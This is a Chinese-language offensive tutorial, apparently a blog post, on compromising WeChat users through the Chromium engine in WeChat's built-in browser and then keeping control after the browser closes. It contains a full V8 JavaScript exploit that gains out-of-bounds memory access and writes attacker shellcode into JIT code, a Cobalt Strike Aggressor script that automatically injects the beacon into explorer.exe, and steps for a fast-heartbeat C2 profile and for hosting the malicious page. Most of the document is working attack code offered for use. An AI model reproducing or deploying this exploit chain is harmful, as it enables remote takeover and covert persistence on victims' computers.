关于微信内置浏览器 达到持久控制

最近谷歌浏览器爆出了命令执行到处都是就不赘述了,由于微信调用了谷歌浏览器内核而且默认没开沙盒模式导致漏洞

但是爆出来的利用是依赖在微信浏览器进程上的,对方点击恶意链接后可正常上线可是一旦关闭内置浏览器就会失去控制权

解决上述问题

1.加载自定义 malleable C2配置文件 从而达到主机一上线跳默认为1秒,就可自动在目标打开浏览器短暂的时间里尽快转移进程

2.加载一个 Cobalt Strike automigrate自动迁移进程的插件从而达到目标上线后会话自动迁移到其他进程从而我们就可以脱离微信浏览器的束缚

具体操作

1.加载自定义 malleable C2配置文件

https://github.com/threatexpress/malleable-c2

在此项目上找到你cs版本对应的配置文件,我这里用的4.0 各版本差别不大

我们现在只需要修改心跳的设置为一秒
image
也可以用我改好的

下载地址 : jquery-c2.4.0.profile

修改好后丢到服务端

启动cobaltstrike时在最后面加上配置文件的名称就好
image

2.加载一个 Cobalt Strike automigrate自动迁移进程的插件

插件代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
on beacon_initial
{
sub callback
{
$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
$listener = "test";
if ($2 ismatch $regex)
{
$pid = matched()[1];
$inject_pid = $pid;
if (-is64 $1)
{
$arch = "x64";
}
else
{
$arch = "x86";
}
binject($1, $pid, $listener, $arch);
}
}
if($inject_pid != beacon_info($1,"pid"))
{
bps($1, &callback);
}
}

复制到本地保存成一个.cna文件使用cobaltstrike加载插件就可

image

测试:

1.准备文件

新建一个监听器

监听器名字一定要设置成test

image

生成一个shellcode

image

这里的就是你的shellcode

image

替换js代码里的shellcode

js代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [];//shellcode替换成自己的 注意是x86的

function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}

function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}

function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;

this.page_buffer = null;
this.page_view = null;

this.prevent_opt = [];

var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;

class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}

this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);

new RegExp({ toString: function () { return 'a' } });
cb(true);

class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);

// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}

// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}

class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}

return DerivedN;
})`);

gc();


new (derived_n(tDerivedNDepth))();

this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}

this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}

this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}

this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}

this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}

this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}

function trigger() {
var oob = oobAccess();

var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));

var kCodeInsOffset = 0x1b;

var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));

oob.setBytes(code_addr, shellcode);

target_function(0);
}

try{
print("start running");
trigger();
}catch(e){
print(e);
}

将上面生成的shellcode 替换到此处
image

创建一个html文件调用js

<script src="test.js"></script>  test

2.搭建服务

随便拿什么搭都可以 我直接用hfs搭建下

image

测试上线与进程转移效果

可以看的会上线两个 beacon 基于微信的会话在浏览器关闭后即掉线
image

而转移到explorer.exe的会话依然坚挺!

image